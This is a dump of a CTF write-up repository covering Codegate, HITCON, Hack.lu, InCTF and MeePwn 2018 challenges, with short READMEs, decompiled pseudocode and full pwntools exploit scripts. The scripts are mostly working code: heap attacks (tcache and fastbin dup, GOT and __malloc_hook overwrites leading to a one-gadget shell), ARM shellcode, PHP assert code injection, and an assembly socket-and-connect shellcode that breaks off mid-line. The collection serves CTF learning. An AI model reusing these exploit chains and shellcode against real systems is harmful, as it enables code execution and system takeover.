32) 36 | 37 | # marimo_b ==> fastbin_4 (0x20) 38 | # name_b ==> fastbin_5 (0x20) 39 | # profile_b ==> fastbin_6 (0x30) 40 | make_free_marimo('b' * 16 + '\n', '1' * 32) 41 | 42 | # we wait for a few seconds, so the price of marimo_a goes up 43 | time.sleep(2) 44 | 45 | # here we view marimo_a, and later we can modify it 46 | view_my_bowls(0) 47 | 48 | # since the lenght of profile_a is related to marimo_a's price 49 | # we can provide an input larget than 32 characters which results in 50 | # overwritting marimo_b's chunk 51 | modify_marimo('0' * 32 + \ 52 | # preserve fastbin_4's metadata 53 | '\x00' * 8 + p64(0x21) + \ 54 | # time_b == 0 55 | p32(0) + \ 56 | # size_b == 1 57 | p32(1) + \ 58 | # overwrite name_b's pointer with malloc@GOT address 59 | p64(0x603050) + \ 60 | '\n') 61 | 62 | no_modify_marimo() 63 | 64 | # by viewing marimo_b, we can leak the malloc@GOT content, which then we 65 | # can find the libc base address 66 | view_my_bowls(1) 67 | 68 | p.recvuntil('name : ') 69 | libc_base = u64(p.recv(6) + '\x00\x00') - 0x84130 70 | 71 | no_modify_marimo() 72 | 73 | print 'libc base: {}'.format(hex(libc_base)) 74 | 75 | # now we have the libc base address, we can now overwrite the marimo_b's content 76 | # again in order to overwrite the malloc@GOT content since "Full RELRO" is not enabled 77 | view_my_bowls(0) 78 | 79 | modify_marimo('0' * 32 + \ 80 | # preserve fastbin_4's metadata 81 | '\x00' * 8 + p64(0x21) + \ 82 | # time_b == 0 83 | p32(0) + \ 84 | # size_b == 1 85 | p32(1) + \ 86 | # overwrite name_b's pointer with malloc@GOT address 87 | p64(0x603050) + \ 88 | # overwrite profile_b's pointer with malloc@GOT address 89 | p64(0x603050) + \ 90 | '\n') 91 | 92 | no_modify_marimo() 93 | 94 | # now, we have profile_b's pointing to malloc@GOT, so by viewing and modifying 95 | # marimo_b, we can overwrite the malloc@GOT with "one gadget" to run shell 96 | view_my_bowls(1) 97 | 98 | ''' 99 | 0x45216 execve("/bin/sh", rsp+0x30, environ) 100 | constraints: 101 | rax == NULL 102 | ''' 103 | one_gadget = libc_base + 0x45216 104 | print 'one gadget: {}'.format(hex(one_gadget)) 105 | 106 | # here the malloc@GOT content is overwritten with one gadget 107 | modify_marimo(p64(one_gadget)[0:6] + '\n') 108 | 109 | no_modify_marimo() 110 | 111 | # by triggering malloc, our one gadget is executed which result in running shell 112 | make_free_marimo('\n', '\n', True) 113 | 114 | p.interactive() 115 | 116 | -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/super_marimo/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/Codegate/2018/Quals/super_marimo/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/Codegate/2018/Quals/super_marimo/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/Codegate/2018/Quals/super_marimo/program -------------------------------------------------------------------------------- /ctfs/HITCON/2018/children_tcache/README.md: -------------------------------------------------------------------------------- 1 | In `HITCON 2018 - Children Tcache` challenge, there is an `off-by-one` (`poison-null-byte`) vulnerability which leads to `double free` and `overlapping chunks`. Using this, we leak a `libc` address to de-randomize `ASLR`, launch `tcache dup` attack, and then put our `fake chunk` address into the `tcache` using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `PIE`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`. -------------------------------------------------------------------------------- /ctfs/HITCON/2018/children_tcache/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def new_heap(size, data, attack=False): 6 | p.sendlineafter('Your choice: ', '1') 7 | p.sendlineafter('Size:', str(size)) 8 | if attack: 9 | return 10 | p.sendafter('Data:', data) 11 | if len(data) < size: 12 | p.sendline() 13 | 14 | def show_heap(index): 15 | p.sendlineafter('Your choice: ', '2') 16 | p.sendlineafter('Index:', str(index)) 17 | 18 | def delete_heap(index): 19 | p.sendlineafter('Your choice: ', '3') 20 | p.sendlineafter('Index:', str(index)) 21 | 22 | with context.quiet: 23 | # hitcon{l4st_rem41nd3r_1s_v3ry_us3ful} 24 | # p = remote('54.178.132.125', 8763) 25 | p = process('./program', env = {'LD_PRELOAD': './libc-2.27.so'}) 26 | 27 | # table[0] => chunk_0 (0x511) 28 | new_heap(0x500, 'a' * 0x4ff) 29 | 30 | # table[1] => chunk_1 (0x71) 31 | new_heap(0x68, 'b' * 0x67) 32 | 33 | # table[2] => chunk_2 (0x601) 34 | new_heap(0x5f0, 'c' * 0x5ef) 35 | 36 | # table[3] => chunk_3 (0x31) 37 | # this chunk is for preventing consolidation of previous 38 | # chunks with the top chunk 39 | new_heap(0x20, 'd' * 0x20) 40 | 41 | # we need to delete chunk_1, so we can re-allocate it again 42 | # in order to launch off-by-one (poison-null-byte) attack 43 | delete_heap(1) 44 | 45 | # chunk_0 should we freed so it can be consolidated with chunk_2 later 46 | delete_heap(0) 47 | 48 | # when we free a chunk, programs writes 0xDA to the whole chunk 49 | # so, we need to zero out some parts of the chunk_1. Therefore, 50 | # we are allocating/freeing the chunk_1 multiple times with different sizes 51 | # interestingly, it always have chunk size of 0x71, but the program only cares 52 | # about the input size 53 | for i in range(9): 54 | # table[0] => chunk_1 (0x71) 55 | # this causes strcpy writes null byte at the end of buffer. 56 | # when i == 0, off-by-one happens and turn size of chunk_2 from 57 | # 0x601 t0 0x600. Therefore, we clear PREV_IN_USE bit. 58 | new_heap(0x68 - i, 'b' * (0x68 - i)) 59 | 60 | # we need to free the chunk, so malloc returns it on the next new_heap call 61 | delete_heap(0) 62 | 63 | # table[0] => chunk_1 (0x71) 64 | # this set the prev_size field of chunk_2 65 | new_heap(0x68, 'b' * 0x60 + p64(0x580)) 66 | 67 | # when we free chunk_2, it consolidates with chunk_0 68 | # therefore, we have a overlapping free chunk with chunk_1 69 | # the resulting big chunk will be put in the unsorted bin 70 | delete_heap(2) 71 | 72 | # table[1] => chunk_4 (0x511) 73 | # this will use the unsorted bin for allocation, and writes 74 | # a libc address into chunk_1 fd/bk fields 75 | new_heap(0x508, 'e' * 0x507) 76 | 77 | # viwing chunk_1 will leak libc address 78 | show_heap(0) 79 | 80 | libc_addr = p.recvuntil('\n$$')[:-3] 81 | libc_base = u64(libc_addr + '\x00' * (8 - len(libc_addr))) - 0x3ebca0 82 | print 'libc base: {}'.format(hex(libc_base)) 83 | 84 | # table[2] => chunk_5 (0x71) 85 | # this will allocate chunk_5 exactly in the same place as chunk_1 86 | new_heap(0x68, 'f' * 0x67) 87 | 88 | # we used tcache_dup attack here which is due to double free 89 | # freeing chunk_1 and chunk_5 put them in the same bin in tcache 90 | # even though they are pointing to the same address 91 | delete_heap(0) 92 | delete_heap(2) 93 | 94 | # we can create a fake chunk before __malloc_hook with size of 0x7f 95 | malloc_hook = libc_base + 0x3ebc30 96 | fake_chunk = malloc_hook - 0x13 97 | print 'fake chunk: {}'.format(hex(fake_chunk)) 98 | 99 | # table[4] => chunk_5 (0x71) 100 | # we used tcache_poisoning here 101 | # chunk_5 will be served from tcache and we will put the address of 102 | # our fake chunk in the chunk_1's fd. 103 | new_heap(0x68, p64(fake_chunk)) 104 | 105 | # table[5] => chunk_1 (0x71) 106 | # this allocation serves chunk_1 and put fake chunk address in the tcache 107 | new_heap(0x68, 'h' * 0x67) 108 | 109 | ''' 110 | 0x4f322 execve("/bin/sh", rsp+0x40, environ) 111 | constraints: 112 | [rsp+0x40] == NULL 113 | ''' 114 | # table[6] => fake_chunk (0x7f) 115 | # since fake_chunk is at the head of the list, this allocation returns it 116 | # then, we overwrite __malloc_hook with one gadget 117 | new_heap(0x68, 'i' * 0x13 + p64(libc_base + 0x4f322)) 118 | 119 | # this allocation triggers __malloc_hook and we have shell 120 | new_heap(1, '', True) 121 | 122 | p.interactive() 123 | 124 | -------------------------------------------------------------------------------- /ctfs/HITCON/2018/children_tcache/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/HITCON/2018/children_tcache/libc-2.27.so -------------------------------------------------------------------------------- /ctfs/HITCON/2018/children_tcache/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/HITCON/2018/children_tcache/program -------------------------------------------------------------------------------- /ctfs/HITCON/2018/children_tcache/pseudocode.cc: -------------------------------------------------------------------------------- 1 | const char *heap_table[12]; 2 | int64_t size_table[10]; 3 | 4 | void handler() 5 | { 6 | puts("Timeout"); 7 | _exit(1); 8 | } 9 | 10 | unsigned int initialize() 11 | { 12 | setvbuf(stdin, 0LL, 2, 0LL); 13 | setvbuf(stdout, 0LL, 2, 0LL); 14 | setvbuf(stderr, 0LL, 2, 0LL); 15 | signal(14, handler); 16 | return alarm(60u); 17 | } 18 | 19 | int64_t read_number() 20 | { 21 | char nptr; // [rsp+10h] [rbp-20h] 22 | uint64_t v2; // [rsp+28h] [rbp-8h] 23 | 24 | __read_chk(0LL, &nptr, 16LL, 17LL); 25 | return atoll(&nptr); 26 | } 27 | 28 | signed int64_t read_string(int64_t a1, unsigned int a2) 29 | { 30 | int64_t result; // rax 31 | int v3; // [rsp+1Ch] [rbp-4h] 32 | 33 | v3 = __read_chk(0LL, a1, a2, a2); 34 | if ( v3 <= 0 ) 35 | { 36 | puts("read error"); 37 | _exit(1); 38 | } 39 | result = *(unsigned __int8 *)(v3 - 1LL + a1); 40 | if ( (char)result == '\n' ) 41 | { 42 | result = v3 - 1LL + a1; 43 | *(char *)result = 0; 44 | } 45 | return result; 46 | } 47 | 48 | int print_menu() 49 | { 50 | puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$"); 51 | puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$"); 52 | puts("$ 1. New heap $"); 53 | puts("$ 2. Show heap $"); 54 | puts("$ 3. Delete heap $ "); 55 | puts("$ 4. Exit $ "); 56 | puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$"); 57 | return printf("Your choice: "); 58 | } 59 | 60 | uint64_t new_heap() 61 | { 62 | int i; // [rsp+Ch] [rbp-2034h] 63 | char *dest; // [rsp+10h] [rbp-2030h] 64 | uint64_t size; // [rsp+18h] [rbp-2028h] 65 | char buffer; // [rsp+20h] [rbp-2020h] 66 | uint64_t v5; // [rsp+2038h] [rbp-8h] 67 | 68 | memset(&buffer, 0, 0x2010uLL); 69 | for ( i = 0; ; ++i ) 70 | { 71 | if ( i > 9 ) 72 | { 73 | puts(":("); 74 | } 75 | if ( !heap_table[i] ) 76 | break; 77 | } 78 | printf("Size:"); 79 | size = read_number(); 80 | if ( size > 0x2000 ) 81 | exit(-2); 82 | dest = (char *)malloc(size); 83 | if ( !dest ) 84 | exit(-1); 85 | printf("Data:"); 86 | read_string((int64_t)&buffer, size); 87 | strcpy(dest, &buffer); 88 | heap_table[i] = dest; 89 | size_table[i] = size; 90 | } 91 | 92 | int show_heap() 93 | { 94 | const char *chunk; // rax 95 | uint64_t index; // [rsp+8h] [rbp-8h] 96 | 97 | printf("Index:"); 98 | index = read_number(); 99 | if ( index > 9 ) 100 | exit(-3); 101 | chunk = heap_table[index]; 102 | if ( chunk ) 103 | LODWORD(chunk) = puts(heap_table[index]); 104 | return (signed int)chunk; 105 | } 106 | 107 | int delete_heap() 108 | { 109 | uint64_t index; // [rsp+8h] [rbp-8h] 110 | 111 | printf("Index:"); 112 | index = read_number(); 113 | if ( index > 9 ) 114 | exit(-3); 115 | if ( heap_table[index] ) 116 | { 117 | memset((void *)heap_table[index], 0xDA, size_table[index]); 118 | free((void *)heap_table[index]); 119 | heap_table[index] = 0LL; 120 | size_table[index] = 0LL; 121 | } 122 | return puts(":)"); 123 | } 124 | 125 | void main(int64_t a1, char **a2, char **a3) 126 | { 127 | uint64_t v3; // rax 128 | 129 | initialize(); 130 | while ( 1 ) 131 | { 132 | while ( 1 ) 133 | { 134 | print_menu(); 135 | v3 = read_number(); 136 | if ( v3 != 2 ) 137 | break; 138 | show_heap(); 139 | } 140 | if ( v3 > 2 ) 141 | { 142 | if ( v3 == 3 ) 143 | { 144 | delete_heap(); 145 | } 146 | else 147 | { 148 | if ( v3 == 4 ) 149 | _exit(0); 150 | LABEL_13: 151 | puts("Invalid Choice"); 152 | } 153 | } 154 | else 155 | { 156 | if ( v3 != 1 ) 157 | goto LABEL_13; 158 | new_heap(); 159 | } 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /ctfs/Hack.lu/2018/babyphp/README.md: -------------------------------------------------------------------------------- 1 | In `Hack.lu 2018 - BabyPHP` challenge, there is an `unsanitized user input` vulnerability which results in `unintended behaviors` as well as `code injection`. First, we can provide a `data:` URL to `file_get_contents` to return the required value. Then, we should pass `Array` in the parameter, so we force `substr` and `sha1` return `null`. Also, we can override the values of arbitrary variables using `$$` in `PHP`. Finally, we can run arbitrary code by passing arbitrary `$bb` value into `assert` in order to print `$flag`. This is an interesting `web` challenge to learn how to attack `PHP` applications. -------------------------------------------------------------------------------- /ctfs/Hack.lu/2018/babyphp/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import requests 4 | import urllib 5 | import base64 6 | 7 | # flag{7c217708c5293a3264bb136ef1fadd6e} 8 | 9 | params = { 10 | # we can provide a data: url to file_get_contents 11 | 'msg': 'data://text/plain;base64,{}'.format(base64.b64encode('Hello Challenge!')), 12 | 'key1': 1337, 13 | # the dollar sing is NOT actually the $ 14 | 'key2': '0' * 35 + '1337\xef\xbc\x84', 15 | # if we provide an array, both substr and sha1 return null 16 | 'cc[]': '', 17 | # we can override k1 with using "$$len = $hack" 18 | 'k1': '2', 19 | # assert evaluates the string which results in code injection 20 | 'bb': 'print $flag."\\n"; //' 21 | } 22 | 23 | url = 'https://arcade.fluxfingers.net:1819/?{}'.format(urllib.urlencode(params)) 24 | 25 | with requests.get(url) as r: 26 | print r.text 27 | 28 | -------------------------------------------------------------------------------- /ctfs/Hack.lu/2018/babyphp/program.php: -------------------------------------------------------------------------------- 1 | $hack){ 40 | $$lel = $hack; 41 | } 42 | } 43 | 44 | $‮b = "2";$a="‮b";//;1=b 45 | 46 | if($$a !== $k1){ 47 | die("lel no\n"); 48 | } 49 | 50 | // plz die now 51 | assert_options(ASSERT_BAIL, 1); 52 | assert("$bb == $cc"); 53 | 54 | echo "Good Job ;)"; 55 | // TODO 56 | // echo $flag; -------------------------------------------------------------------------------- /ctfs/InCTF/2018/securepad/README.md: -------------------------------------------------------------------------------- 1 | In `InCTF 2018 - securepad` challenge, there is an `uninitialized stack variable` vulnerability which leads to `arbitrary free` vulnerability that eventually allows us to launch `unsorted_bin_attack` and `fastbin_dup_attack`. Firstly, we leak a `heap` address and using the `arbitrary free` we get from `uninitialized stack variable` vulnerability, we leak a `main arena` address so we can find `libc` base address. Then, we create a fake chunk before `__free_hook` using `unsorted_bin_attack` and using `fastbin_dup_attack`, we allocate the fake chunk to overwrite `__free_hook` with `system`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, `PIE`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/InCTF/2018/securepad/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/securepad/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/InCTF/2018/securepad/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/securepad/program -------------------------------------------------------------------------------- /ctfs/InCTF/2018/warmup/README.md: -------------------------------------------------------------------------------- 1 | In `InCTF 2018 - wARMup` challenge, there is a `stack overflow` vulnerability which allows us to overwrite return address with an arbitrary address. First, we use `read` to write our `shellcode` into the `.bss` and then jump to it. This is an interesting `ARM exploitation` challenge to learn bypassing protections like `Partial RELRO` and `ASLR` in `ARM` binaries. -------------------------------------------------------------------------------- /ctfs/InCTF/2018/warmup/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('qemu-arm -L ./ ./program', shell=True) 7 | 8 | p.recvuntil('Welcome to bi0s CTF!\n') 9 | 10 | bss = 0x21034 11 | 12 | # replace the return address (pc) with address of the read snippet, so we can execute the read again 13 | # we also set the "saved fp" in a way that we can influence the buf the read uses 14 | p.sendline( 15 | # garbage 16 | 'a' * 0x64 + \ 17 | # saved fp. it points to somewhere in .bss 18 | p32(bss + 0x100 + 0x68) + \ 19 | # this is the address of start of read call 20 | p32(0x1052c) 21 | ) 22 | 23 | shellcode = asm(''' 24 | add r0, pc, #12 25 | mov r1, #0 26 | mov r2, #0 27 | mov r7, #11 28 | svc #0 29 | 30 | .ascii "/bin/sh\\0" 31 | ''', arch='arm', os='linux') 32 | 33 | p.sendline( 34 | # the shellcode we jump to later 35 | shellcode + \ 36 | # we write garbage the rest of it 37 | 'a' * (0x64 - len(shellcode)) + \ 38 | # we overwrite the place for saved fp with 0. it does not matter what we write here 39 | p32(0) + \ 40 | # we set the return address (pc) the beginning of the shellcode 41 | p32(bss + 0x100) 42 | ) 43 | 44 | p.interactive() 45 | 46 | -------------------------------------------------------------------------------- /ctfs/InCTF/2018/warmup/lib/ld-linux-armhf.so.3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/warmup/lib/ld-linux-armhf.so.3 -------------------------------------------------------------------------------- /ctfs/InCTF/2018/warmup/lib/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/warmup/lib/libc.so.6 -------------------------------------------------------------------------------- /ctfs/InCTF/2018/warmup/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/warmup/program -------------------------------------------------------------------------------- /ctfs/InCTF/2018/warmup/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int main(void) 2 | { 3 | char auStack108 [100]; 4 | 5 | alarm(0x1e); 6 | setvbuf(stdout, (char *)0x0, 2, 0); 7 | puts("Welcome to bi0s CTF!"); 8 | read(0, auStack108, 0x78); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /ctfs/InCTF/2018/yawn/README.md: -------------------------------------------------------------------------------- 1 | In `InCTF 2018 - YAWN` challenge, there is an `off-by-one` vulnerability which allows us to overwrite `desc` pointer with an arbitrary address. First, we leak `read@GOT` and a `.bss` address to find `libc` and `heap` base addresses, respectively. Then, we can `free` arbitrary `chunks` in the `heap` which allows us to launch `fastbin dup` attack. As a result, we can force `malloc` to return a `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/InCTF/2018/yawn/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def add_note(name, desc): 6 | p.sendlineafter('>> ', '1') 7 | p.sendafter('Enter name: ', name) 8 | p.sendafter('Enter desc: ', desc) 9 | 10 | def edit_note(index, name, size, desc): 11 | p.sendlineafter('>> ', '2') 12 | p.sendlineafter('Enter index: ', str(index)) 13 | p.sendafter('Enter name: ', name) 14 | p.sendlineafter('Enter size: ', str(size)) 15 | p.sendafter('Enter desc: ', desc) 16 | 17 | def remove_note(index): 18 | p.sendlineafter('>> ', '3') 19 | p.sendlineafter('Enter idx: ', str(index)) 20 | 21 | def view_note(index): 22 | p.sendlineafter('>> ', '4') 23 | p.sendlineafter('Enter idx: ', str(index)) 24 | 25 | with context.quiet: 26 | # p = remote('18.188.142.250', 1337) 27 | # inctf{y4wning_at_th3_st4ck_pwn1ng_4t_the_he4p} 28 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 29 | 30 | # node[0] => chunk_0 (0x71) 31 | # due to off-by-one, name is not terminated with null byte, so strcpy 32 | # will replace desc pointer with read@GOT 33 | add_note('a' * 80, '0' * 8 + p64(0x601fb0) + '\n') 34 | 35 | # viewing the note will leak read@GOT address in the description field 36 | view_note(0) 37 | 38 | # we can find the libc base address 39 | p.recvuntil('Description : ') 40 | read_addr = p.recvuntil('\n1)')[0:-3] 41 | libc_base = u64(read_addr + '\x00' * (8 - len(read_addr))) - 0xf7250 42 | print 'libc base: {}'.format(hex(libc_base)) 43 | 44 | # we replace desc pointer with location of "table" in .bss to leak a heap address 45 | edit_note(0, 'a' * 80, 16, '0' * 8 + p64(0x602040) + '\n') 46 | 47 | # this will print first element in table in .bss, so we have the heap address 48 | view_note(0) 49 | 50 | # we can find the heap base address 51 | p.recvuntil('Description : ') 52 | heap_addr = p.recvuntil('\n1)')[0:-3] 53 | heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x1040 54 | print 'heap base: {}'.format(hex(heap_base)) 55 | 56 | # since we have the heap address, so we can free any arbitrary address in heap 57 | 58 | # node[1] => chunk_1 (0x71) 59 | # put the address of chunk_2 in the chunk_1's desc pointer 60 | add_note('b' * 80, '1' * 8 + p64(heap_base + 0x1180) + '\n') 61 | 62 | # node[2] => chunk_2 (0x71) 63 | add_note('c' * 78 + '\n', '2' * 22 + '\n') 64 | 65 | # removing node[1] will free chunk_2 and chunk_1 and put them in the fastbin free list 66 | # 0x70: chunk_1 --> chunk_2 67 | remove_note(1) 68 | 69 | # removing node[2] will put chunk_2 again in the fastbin free list, resulting in fastbin_dup 70 | # chunk_2 --> chunk_1 --> chunk_2 71 | remove_note(2) 72 | 73 | # since we have free chunks in 0x70 free fastbin list and we have a 0x7f before malloc_hook 74 | # we can create a fake chunk before malloc_hook, and overwrite malloc_hook with a one gadget 75 | malloc_hook = libc_base + 0x3c4b10 76 | 77 | # node[1] => chunk_2 (0x71) 78 | # put the fake chunk's address before malloc_hook inside chunk_2's fd pointer 79 | add_note(p64(malloc_hook - 0x23) + '\n', '1' * 8 + '\n') 80 | 81 | # node[2] => chunk_1 (0x71) 82 | add_note('c' * 78 + '\n', '2' * 22 + '\n') 83 | 84 | # node[3] => chunk_2 (0x71) 85 | # this allocation put the fake chunk's address in the 0x70 fastbin free list 86 | add_note('d' * 78 + '\n', '3' * 22 + '\n') 87 | 88 | # node[4] => fake_chunk (0x7f) 89 | # this allocation returns the location of fake chunk's address, so we can overwrite 90 | # malloc_hook with one gadget address 91 | ''' 92 | 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 93 | constraints: 94 | [rsp+0x50] == NULL 95 | ''' 96 | add_note('e' * 0x13 + p64(libc_base + 0xf02a4) + '\n', '4' * 22 + '\n') 97 | 98 | # this allocation triggers malloc_hook 99 | add_note('\n', '\n') 100 | 101 | p.interactive() 102 | 103 | -------------------------------------------------------------------------------- /ctfs/InCTF/2018/yawn/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/yawn/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/InCTF/2018/yawn/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/InCTF/2018/yawn/program -------------------------------------------------------------------------------- /ctfs/InCTF/2018/yawn/pseudocode.cc: -------------------------------------------------------------------------------- 1 | note *table[10]; 2 | 3 | int get_inp(char *buffer, int size) 4 | { 5 | int retval; // [rsp+1Ch] [rbp-4h] 6 | 7 | retval = read(0, buffer, size); 8 | if ( retval == -1 ) 9 | exit(0); 10 | if ( buffer[retval - 1] == 10 ) 11 | buffer[retval - 1] = 0; 12 | return retval - 1; 13 | } 14 | 15 | int get_int() 16 | { 17 | char buffer[32]; // [rsp+0h] [rbp-30h] 18 | uint64_t v2; // [rsp+28h] [rbp-8h] 19 | 20 | get_inp(buffer, 32); 21 | return atoi(buffer); 22 | } 23 | 24 | int64_t get_ll() 25 | { 26 | char buffer[32]; // [rsp+0h] [rbp-30h] 27 | uint64_t v2; // [rsp+28h] [rbp-8h] 28 | 29 | get_inp(buffer, 32); 30 | return atoll(buffer); 31 | } 32 | 33 | int insert(char *name, int64_t size, char *desc, int idx) 34 | { 35 | table[idx]->size = size; 36 | table[idx]->desc = desc; 37 | strcpy(table[idx]->name, name); 38 | return 0; 39 | } 40 | 41 | int add_note() 42 | { 43 | char *v0; // rdx 44 | size_t size; // ST10_8 45 | char *ptr; // ST18_8 46 | int i; // [rsp+Ch] [rbp-174h] 47 | char name[80]; // [rsp+20h] [rbp-160h] 48 | char desc[256]; // [rsp+70h] [rbp-110h] 49 | uint64_t v7; // [rsp+178h] [rbp-8h] 50 | 51 | memset(desc, 0, sizeof(desc)); 52 | v0 = name; 53 | memset(name, 0, sizeof(name)); 54 | for ( i = 0; i <= 9; ++i ) 55 | { 56 | v0 = (char *)i; 57 | if ( !table[i] ) 58 | break; 59 | } 60 | if ( i == 10 ) 61 | return 0; 62 | printf("ID : %d\n", (unsigned int)i, v0); 63 | printf("Enter name: "); 64 | fgets(name, 81, stdin); 65 | printf("Enter desc: ", 81LL); 66 | fgets(desc, 257, stdin); 67 | size = strlen(desc); 68 | ptr = strdup(desc); 69 | table[i] = (note *)malloc(0x60uLL); 70 | insert(name, size, ptr, i); 71 | return i; 72 | } 73 | 74 | int edit_note() 75 | { 76 | int64_t v0; // rsi 77 | int idx; // [rsp+Ch] [rbp-174h] 78 | char *ptr; // [rsp+10h] [rbp-170h] 79 | int64_t size; // [rsp+18h] [rbp-168h] 80 | char name[80]; // [rsp+20h] [rbp-160h] 81 | char desc[256]; // [rsp+70h] [rbp-110h] 82 | uint64_t v7; // [rsp+178h] [rbp-8h] 83 | 84 | memset(desc, 0, sizeof(desc)); 85 | memset(name, 0, sizeof(name)); 86 | printf("Enter index: ", v0, name); 87 | idx = get_int(); 88 | if ( idx < 0 || idx > 9 || !table[idx] ) 89 | return 0; 90 | printf("Enter name: "); 91 | fgets(name, 81, stdin); 92 | printf("Enter size: ", 81LL); 93 | size = get_ll(); 94 | printf("Enter desc: "); 95 | if ( size > 256 ) 96 | { 97 | ptr = (char *)malloc(size); 98 | fgets(ptr, size + 1, stdin); 99 | } 100 | else 101 | { 102 | fgets(desc, 257, stdin); 103 | ptr = strdup(desc); 104 | } 105 | insert(name, size, ptr, idx); 106 | return 0; 107 | } 108 | 109 | int remove_note() 110 | { 111 | int idx; // [rsp+Ch] [rbp-4h] 112 | 113 | printf("Enter idx: "); 114 | idx = get_int(); 115 | if ( idx < 0 || idx > 9 || !table[idx] ) 116 | return 0; 117 | free(table[idx]->desc); 118 | table[idx]->desc = 0LL; 119 | free(table[idx]); 120 | table[idx] = 0LL; 121 | return 0; 122 | } 123 | 124 | int view_note() 125 | { 126 | int idx; // [rsp+Ch] [rbp-4h] 127 | 128 | printf("Enter idx: "); 129 | idx = get_int(); 130 | if ( idx < 0 || idx > 9 || !table[idx] ) 131 | return 0; 132 | printf("Note ID : %d\nName : %s\n", (unsigned int)idx, table[idx]); 133 | printf("Size : %lld\nDescription : %s\n", table[idx]->size, table[idx]->desc); 134 | return 0; 135 | } 136 | 137 | int printmenu() 138 | { 139 | puts("1) Add note\n2) Edit note\n3) Remove note\n4) View note\n5) Exit"); 140 | printf(">> "); 141 | return get_int(); 142 | } 143 | 144 | int main() 145 | { 146 | alarm(0x1Eu); 147 | setvbuf(stdout, 0LL, 2, 0LL); 148 | puts("---------------------------"); 149 | while ( 1 ) 150 | { 151 | switch (printmenu()) 152 | { 153 | case 1u: 154 | add_note(); 155 | break; 156 | case 2u: 157 | edit_note(); 158 | break; 159 | case 3u: 160 | remove_note(); 161 | break; 162 | case 4u: 163 | view_note(); 164 | break; 165 | case 5u: 166 | exit(0); 167 | return; 168 | default: 169 | puts("Invalid"); 170 | break; 171 | } 172 | } 173 | } 174 | -------------------------------------------------------------------------------- /ctfs/MeePwn/2018/Quals/babysandbox/README.md: -------------------------------------------------------------------------------- 1 | In `MeePwnQuals 2018 - BabySandbox` challenge, lesson learned is that `openat`, `readv`, and `writev` syscalls are the alternatives for `open`, `read`, and `write` syscalls, respectively, when the latter syscalls are blocked. This is an interesting `shell code` challenge to learn bypassing protections like `NX`, `PIE`, and `ASLR` in `x86_32` binaries. 2 | -------------------------------------------------------------------------------- /ctfs/MeePwn/2018/Quals/babysandbox/exploit.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | section .text 4 | global _start 5 | 6 | _start: 7 | 8 | _socket: ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 9 | push 6 ; IPPROTO_TCP 10 | push 1 ; SOCK_STREAM 11 | push 2 ; AF_INET 12 | mov eax, 0x66 ; sys_socketcall 13 | mov ebx, 1 ; sys_socket 14 | mov ecx, esp ; pointer to args 15 | int 0x80 ; syscall 16 | 17 | mov edi, eax ; sockfd 18 | 19 | _connect: 20 | push 0x0100007f ; ip = 127.0.0.1 21 | push word 0x3930 ; 